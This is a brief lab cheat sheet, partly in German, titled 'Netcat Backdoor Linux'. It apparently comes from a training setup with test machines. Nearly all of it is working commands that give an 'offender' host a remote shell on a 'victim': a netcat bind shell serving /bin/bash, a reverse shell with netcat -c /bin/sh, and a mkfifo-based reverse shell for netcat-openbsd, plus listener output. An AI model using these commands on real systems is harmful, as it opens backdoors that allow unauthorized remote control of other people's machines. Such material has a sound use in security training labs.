Netcat Backdoor Linux

Linux

Auf dem Opfer

• apt-get install netcat-traditional
• update-alternatives --config nc

netcat-traditional auswählen (ist auf den Testmaschinen schon geschehen.)

with netcat-traditional

bind_tcp

• root@victim:~# apt-get install netcat-traditional
• root@victim:~# netcat -l -p 10001 -e /bin/bash
• root@offender:~# netcat 10.0.10.104 10001

with netcat-traditional

reverse_tcp

• root@offender:~# netcat -l -p 10002
• root@victim:~# netcat -c /bin/sh 10.0.10.101 10002

with netcat-openbsd

VICTIM=10.0.10.104 OFFENDER=10.0.10.101

• root@victim:~# mkfifo /tmp/bp ; /bin/sh 0</tmp/bp | nc $OFFENDER 8668 1>/tmp/bp
• root@offender:~# nc -lp 8668

listening on [any] 8668 ...
connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154